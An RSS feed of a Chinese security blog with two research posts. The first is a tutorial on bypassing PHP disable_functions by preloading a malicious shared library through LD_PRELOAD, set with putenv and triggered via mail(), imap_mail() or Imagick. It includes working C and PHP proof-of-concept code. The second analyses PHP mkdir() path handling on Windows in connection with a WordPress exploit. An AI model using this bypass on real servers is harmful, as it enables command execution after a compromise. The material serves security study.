<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Research on 诗与胡说</title>
    <link>https://kylingit.com/categories/research/index.xml</link>
    <description>Recent content in Research on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/categories/research/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>利用LD_PRELOAD绕过disbale_functions</title>
      <link>https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/</link>
      <pubDate>Tue, 02 Apr 2019 10:21:42 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-背景&#34;&gt;0x01 背景&lt;/h3&gt;

&lt;p&gt;有时候拿到&lt;code&gt;shell&lt;/code&gt;后发现无法执行系统命令，通过&lt;code&gt;phpinfo&lt;/code&gt;查看发现设置了&lt;code&gt;disbale_functions&lt;/code&gt;，禁止了大部分可以执行命令的方法，这时候就要考虑绕过这个限制。本文是介绍了利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量加载恶意共享库的方式绕过，当然方式不止文中列出的几种，有何遗漏或不足欢迎提建议。&lt;/p&gt;

&lt;h3 id=&#34;0x02-ld-preload-环境变量&#34;&gt;0x02 LD_PRELOAD 环境变量&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;LD_PRELOAD&lt;/em&gt; is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (&lt;em&gt;libc.so&lt;/em&gt;) This is called preloading a library.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;根据文档介绍，如果使用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量指定了一个共享库或共享对象，那么这个共享对象会在其他对象加载前被加载，例如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;即在执行&lt;code&gt;ls&lt;/code&gt;命令前，会先加载指定路径的&lt;code&gt;malloc.so&lt;/code&gt;文件，如果这是一个恶意共享对象，那么可以执行任意操作。&lt;/p&gt;

&lt;p&gt;我们可以通过&lt;code&gt;readelf&lt;/code&gt;命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量指定生成的对象，达到命令执行的目的。&lt;/p&gt;

&lt;p&gt;一般情况我们选择简单的或者不带参数的命令，例如&lt;code&gt;id&lt;/code&gt;，&lt;code&gt;ls&lt;/code&gt;，&lt;code&gt;whoami&lt;/code&gt;等，另外为了实现原型一致的劫持函数，也尽量选择常用的或者不用传递参数的函数，例如&lt;code&gt;getuid()&lt;/code&gt;，&lt;code&gt;getpid()&lt;/code&gt;，&lt;code&gt;getgid()&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;以&lt;code&gt;python&lt;/code&gt;为例，通过命令&lt;code&gt;readelf -s /usr/bin/python&lt;/code&gt;列出&lt;code&gt;python&lt;/code&gt;程序调用的系统函数，可以筛选出&lt;code&gt;get&lt;/code&gt;型的函数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402111421.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;尝试劫持&lt;code&gt;getpid()&lt;/code&gt;函数&lt;/p&gt;

&lt;p&gt;首先通过man命令查看&lt;code&gt;getpid()&lt;/code&gt;函数的实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402111816.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后重写&lt;code&gt;getpid()&lt;/code&gt;函数&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

pid_t getpid(void){
    system(&amp;quot;echo &#39;pwned by getpid!&#39;&amp;quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;因为通过设置&lt;code&gt;preload&lt;/code&gt;劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时&lt;code&gt;unsetenv(&amp;quot;LD_PRELOAD&amp;quot;)&lt;/code&gt;则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，改进版如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&amp;quot;echo &#39;pwned by getpid!&#39;&amp;quot;);
}

pid_t getpid(void){
    if (getenv(&amp;quot;LD_PRELOAD&amp;quot;) == NULL){
        return 0;
    }

    unsetenv(&amp;quot;LD_PRELOAD&amp;quot;);
    payload();

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接着编译共享对象，&lt;code&gt;-shared&lt;/code&gt;表示生成共享库，&lt;code&gt;-fPIC&lt;/code&gt;表示使用地址无关代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;gcc -shared -fPIC getpid.c -o getpid.so
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;LD_PRELOAD&lt;/code&gt;设置加载so文件，运行python，可以看到函数被成功劫持&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403104653.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个方法有一定限制，首先需要找到一个相对简单的函数原型，然后需要确保该函数被目标程序调用，因此一个更好的方法是利用扩展修饰符修饰函数，优先加载恶意函数，增强通用性，这里就用到了&lt;code&gt;扩展修饰符&lt;/code&gt; &lt;code&gt;__attribute__((constructor))&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GCC 有个 C 语言扩展修饰符 &lt;code&gt;__attribute__((constructor))&lt;/code&gt;，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 &lt;code&gt;__attribute__((constructor))&lt;/code&gt; 修饰的函数&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单说就是&lt;code&gt;__attribute__&lt;/code&gt;可以修饰几个属性，包括函数属性、变量属性和类型属性，语法格式为：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__attribute__(( attribute-list ))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当函数属性被设置为&lt;code&gt;constructor&lt;/code&gt;时，该函数会在可执行文件（或共享对象）加载时被调用，同理当设置属性为&lt;code&gt;destructor&lt;/code&gt;时会在对象&lt;code&gt;unload&lt;/code&gt;时调用，也就是说设置为这两个属性时，会在&lt;code&gt;main()&lt;/code&gt;函数执行之前或者&lt;code&gt;return()&lt;/code&gt;执行之后被调用，我们就可以借助这个扩展修饰符，当加载so文件时自动执行恶意函数，这样就不局限于某个特定函数，使用面大大扩展了&lt;/p&gt;

&lt;p&gt;重新写一个函数，使用 &lt;code&gt;__attribute__((constructor))&lt;/code&gt;修饰&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&amp;quot;echo &#39;pwned!&#39;&amp;quot;);
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv(&amp;quot;LD_PRELOAD&amp;quot;) == NULL){
        return;
    }

    unsetenv(&amp;quot;LD_PRELOAD&amp;quot;);
    payload();

    return;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新编译并加载，成功执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402154051.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x03-绕过-disable-functions&#34;&gt;0x03 绕过&lt;code&gt;disable_functions&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;接下来看一下怎么利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;在&lt;code&gt;php&lt;/code&gt;启用&lt;code&gt;disable_functions&lt;/code&gt;禁用了命令/代码执行函数的情况下绕过这个限制，达到命令执行的效果&lt;/p&gt;

&lt;p&gt;&lt;code&gt;php.ini&lt;/code&gt;限制大部分执行命令的函数&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;disable_functions = assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据上面的介绍，我们突破&lt;code&gt;disable_functions&lt;/code&gt;的步骤如下&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编写恶意C函数，并编译成共享对象；&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;php&lt;/code&gt;执行过程中找到一个函数，这个函数能够产生一个新的进程；&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;putenv&lt;/code&gt;设置&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量，使得新产生的进程优先加载恶意共享对象；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;第1步在上文已经解决了，第3步也比较容易实现，关键就是第2步，找到一个&lt;code&gt;php&lt;/code&gt;中可以新起一个进程的函数，目的是为了让这个新进程使用的环境变量加载我们设置的恶意共享对象，达到劫持的目的&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;php&lt;/code&gt;中有这么几个函数可以被利用，&lt;code&gt;mail()&lt;/code&gt;，&lt;code&gt;imap_mail()&lt;/code&gt;，以及&lt;code&gt;Imagick&lt;/code&gt;，来逐一测试&lt;/p&gt;

&lt;h4 id=&#34;mail&#34;&gt;mail()&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;mail()&lt;/code&gt;函数会启动&lt;code&gt;sendmail&lt;/code&gt;进程发送邮件，这个过程是可以被劫持的&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    mail(&amp;quot;admin@localhost&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;strace&lt;/code&gt;查看&lt;code&gt;mail()&lt;/code&gt;函数调用的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402180420.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到除了&lt;code&gt;php&lt;/code&gt;自身进程外还启动了&lt;code&gt;sendmail&lt;/code&gt;进程，而&lt;code&gt;sendmail&lt;/code&gt;在执行过程中调用了多个可以被劫持的函数，例如&lt;code&gt;getuid&lt;/code&gt;，&lt;code&gt;getgid&lt;/code&gt;， &lt;code&gt;getpid&lt;/code&gt;等，我们还是以上面的&lt;code&gt;getpid&lt;/code&gt;为例测试&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403103643.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;putenv&lt;/code&gt;将&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量设置为上面编译好的&lt;code&gt;getpid.so&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    putenv(&amp;quot;LD_PRELOAD=/tmp/getpid.so&amp;quot;);
    mail(&amp;quot;admin@localhost&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403104908.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;成功绕过&lt;code&gt;disable_functions&lt;/code&gt;限制。另外也可以用&lt;code&gt;__attribute__ ((__constructor__))&lt;/code&gt;修饰函数，这样就不局限于某个系统函数。&lt;/p&gt;

&lt;h4 id=&#34;imap-mail&#34;&gt;imap_mail()&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;imap_mail()&lt;/code&gt;函数与&lt;code&gt;mail()&lt;/code&gt;函数类似，都会调用&lt;code&gt;sendmail&lt;/code&gt;程序发送邮件，因此也能通过&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量绕过，方法同上&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403141357.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;imagick&#34;&gt;Imagick&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;Imagick&lt;/code&gt;作为使用广泛的图形处理库，它在处理各种类型的文件时会调用不同的处理程序，这个过程也是可以进行劫持的，常见的文件类型与处理程序对应关系列举如下&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件类型&lt;/th&gt;
&lt;th&gt;调用程序&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EPI/EPS/PDF/PS&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;http://www.cs.wisc.edu/~ghost&#34;&gt;Ghostscript&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;MNG/M2V&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;http://www.ffmpeg.org/download.html&#34;&gt;ffmpeg&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;JXR&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://jxrlib.codeplex.com/&#34;&gt;jxrlib&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;详细的依赖调用关系可以参考&lt;a href=&#34;https://imagemagick.org/script/formats.php&#34;&gt;官方网站&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;以&lt;code&gt;eps&lt;/code&gt;文件为例，使用&lt;code&gt;Imagick&lt;/code&gt;加载&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    $a = new Imagick(&amp;quot;/tmp/payload.eps&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果出现报错&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Uncaught ImagickException: not authorized &#39;payload.eps&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;需要修改&lt;code&gt;imagick&lt;/code&gt;的&lt;code&gt;policy.xml&lt;/code&gt;文件，把相应文件类型的权限修改为&lt;code&gt;read|write&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403151458.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;strace&lt;/code&gt;可以看到启动了&lt;code&gt;gs&lt;/code&gt;程序处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403152424.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此我们同样可以通过修改&lt;code&gt;LD_PRELOAD&lt;/code&gt;达到执行代码的目的，而实际上这个过程并不要求&lt;code&gt;payload.eps&lt;/code&gt;是个合法的&lt;code&gt;eps&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403153255.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;类似的，&lt;code&gt;pdf&lt;/code&gt;、&lt;code&gt;ps&lt;/code&gt;、&lt;code&gt;wmv&lt;/code&gt;文件等，都可以通过这个方法利用。&lt;/p&gt;

&lt;h3 id=&#34;0x04-总结&#34;&gt;0x04 总结&lt;/h3&gt;

&lt;p&gt;本文主要介绍了如何利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;突破&lt;code&gt;disbale_functions&lt;/code&gt;，当然这个方法也有一个限制，那就是&lt;code&gt;putenv&lt;/code&gt;没有被禁用，得以设置环境变量，因此在不影响系统运行的前提下也需要把&lt;code&gt;putenv&lt;/code&gt;加上。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ&#34;&gt;https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>对PHP中的mkdir()函数的研究</title>
      <link>https://kylingit.com/blog/%E5%AF%B9php%E4%B8%AD%E7%9A%84mkdir%E5%87%BD%E6%95%B0%E7%9A%84%E7%A0%94%E7%A9%B6/</link>
      <pubDate>Wed, 20 Mar 2019 15:27:20 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E5%AF%B9php%E4%B8%AD%E7%9A%84mkdir%E5%87%BD%E6%95%B0%E7%9A%84%E7%A0%94%E7%A9%B6/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-缘起&#34;&gt;0x01 缘起&lt;/h3&gt;

&lt;p&gt;在前阵子分析&lt;a href=&#34;https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&#34;&gt;WORDPRESS IMAGE 远程代码执行漏洞&lt;/a&gt;的过程中，在文末提到一点关于&lt;code&gt;php&lt;/code&gt;中的&lt;code&gt;mkdir()&lt;/code&gt;函数，在触发漏洞时这个地方存在一点疑惑，即当&lt;code&gt;mkdir()&lt;/code&gt;第三个参数分别为&lt;code&gt;false&lt;/code&gt;和&lt;code&gt;true&lt;/code&gt;时，分别是能成功创建文件夹和创建失败，后来有同学发现和他的测试结果有偏差，两种情况都无法创建，在互相确认了&lt;code&gt;php&lt;/code&gt;版本后，对&lt;code&gt;mkdir()&lt;/code&gt;函数进行了深入的研究，发现里面大有文章。&lt;/p&gt;

&lt;p&gt;当时的测试结果是这样的，环境是&lt;code&gt;Windows&lt;/code&gt;+&lt;code&gt;php-7.0.12-nts&lt;/code&gt;，在&lt;code&gt;recursive=false&lt;/code&gt;时成功穿越目录并创建了文件夹&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222095108.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本文重新编译了php方便调试，版本是&lt;code&gt;php-7.2.16-ts&lt;/code&gt;和&lt;code&gt;php-7.2.16-nts&lt;/code&gt;，测试结果如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320161208.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320161651.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到只有在非线程安全下并且&lt;code&gt;recursive=false&lt;/code&gt;时才成功创建，总结如下表所示&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;center&#34;&gt;Windows&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;thread-safe&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;non-thread safe&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=false&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (No error)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;success&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=true&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;接下来从源码角度看看&lt;code&gt;php&lt;/code&gt;如何实现&lt;code&gt;mkdir()&lt;/code&gt;函数，探究一下为何会出现差异&lt;/p&gt;

&lt;h3 id=&#34;0x02-调试&#34;&gt;0x02 调试&lt;/h3&gt;

&lt;p&gt;用&lt;code&gt;Visual Studio 2017&lt;/code&gt;打开项目，定位到&lt;code&gt;php-7.2.16-src/main/streams/plain_wrapper.c&lt;/code&gt;line 1234，方法&lt;code&gt;php_plain_files_mkdir()&lt;/code&gt;即&lt;code&gt;mkdir()&lt;/code&gt;的实现，在此处下个断点，然后运行脚本，接着选择&lt;code&gt;调试-附加到进程&lt;/code&gt;，选择编译好的&lt;code&gt;php.exe&lt;/code&gt;进程，成功命中断点。&lt;/p&gt;

&lt;h3 id=&#34;0x03-源码分析&#34;&gt;0x03 源码分析&lt;/h3&gt;

&lt;h4 id=&#34;1-recursive-true&#34;&gt;1. recursive=true&lt;/h4&gt;

&lt;h5 id=&#34;thread-safe&#34;&gt;thread-safe&lt;/h5&gt;

&lt;p&gt;首先分析在&lt;code&gt;recursive=true&lt;/code&gt;的情况，跟随断点来看一下&lt;code&gt;php_plain_files_mkdir()&lt;/code&gt;这个方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320162930.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看到对&lt;code&gt;recursive&lt;/code&gt;进行了判断，进了不同的分支，分别执行&lt;code&gt;php_mkdir()&lt;/code&gt;和&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;。&lt;code&gt;recursive=true&lt;/code&gt;时进入&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320163530.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;方法会判断当前路径是相对路径还是绝对路径，然后把路径传入&lt;code&gt;virtual_file_ex()&lt;/code&gt;，如果是相对路径的话会在该方法中拼接成完整的路径，随后进行一个重要的判断&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320165438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果是&lt;code&gt;Windows&lt;/code&gt;系统且路径中包含了&lt;code&gt;*&lt;/code&gt;或&lt;code&gt;?&lt;/code&gt;，则直接返回错误，这也就是为什么在复现&lt;code&gt;wordpress&lt;/code&gt;漏洞时构造的&lt;code&gt;PoC&lt;/code&gt;中含有&lt;code&gt;?&lt;/code&gt;无法创建目录的原因(&lt;code&gt;wordpress&lt;/code&gt;指定了&lt;code&gt;recursive=true&lt;/code&gt;)，当时使用&lt;code&gt;#&lt;/code&gt;绕过了这个限制&lt;/p&gt;

&lt;p&gt;回到上面，&lt;code&gt;virtual_file_ex()&lt;/code&gt;没有通过验证，最终抛出的异常是&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
    php_error_docref(NULL, E_WARNING, &amp;quot;Invalid path&amp;quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;non-thread-safe&#34;&gt;non-thread safe&lt;/h5&gt;

&lt;p&gt;在非线程安全模式下，流程是完全一样的，最终也会因为无法通过&lt;code&gt;*&lt;/code&gt;或&lt;code&gt;?&lt;/code&gt;的检查，抛出&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&#34;2-recursive-false&#34;&gt;2. recursive=false&lt;/h4&gt;

&lt;p&gt;接下来看一下&lt;code&gt;recursive=false&lt;/code&gt;的情况，在这个情况下，线程安全与非线程安全产生了不一样的结果。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;recursive=false&lt;/code&gt;时进入&lt;code&gt;php_mkdir()&lt;/code&gt;方法，随后进入&lt;code&gt;php_mkdir_ex()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320171340.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在进行&lt;code&gt;basedir&lt;/code&gt;检查后进入&lt;code&gt;VCWD_MKDIR&lt;/code&gt;，这是一个宏命令，在源码中有三处定义，在&lt;code&gt;php-7.2.16-src/Zend/zend_virtual_cwd.h&lt;/code&gt;中，分别是&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php_win32_ioutil_mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtual_mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320172231.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意这三个定义是根据不同的条件执行的，看一下逻辑&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#endif

#if defined(ZEND_WIN32)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也就是说，如果定义了&lt;code&gt;VIRTUAL_DIR&lt;/code&gt;，那么执行的是&lt;code&gt;virtual_mkdir()&lt;/code&gt;，否则如果是&lt;code&gt;Windows&lt;/code&gt;系统，就执行&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;创建目录，&lt;code&gt;linux&lt;/code&gt;下则是&lt;code&gt;mkdir&lt;/code&gt;命令&lt;/p&gt;

&lt;p&gt;那么，既然在&lt;code&gt;recursive=false&lt;/code&gt;的情况下，线程安全与非线程安全出现了不一样的结果，肯定是此处走的分支不一样，一个使用了&lt;code&gt;virtual_mkdir()&lt;/code&gt;，另一个使用了&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;，分别进入两个方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320173806.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;virtual_mkdir()&lt;/code&gt;中，同上面的情况一样，进行了&lt;code&gt;virtual_file_ex()&lt;/code&gt;判断，因此也会走到对&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;的判断，同样因为通不过检查而抛出&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;，而在&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;中则是调用了&lt;code&gt;CreateDirectoryW&lt;/code&gt;创建目录&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320174124.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CreateDirectoryW&lt;/code&gt;是&lt;code&gt;Windows&lt;/code&gt;下创建目录的&lt;code&gt;API&lt;/code&gt;，走到这个分支并不检查&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;，因此能够成功创建目录。&lt;/p&gt;

&lt;blockquote&gt;
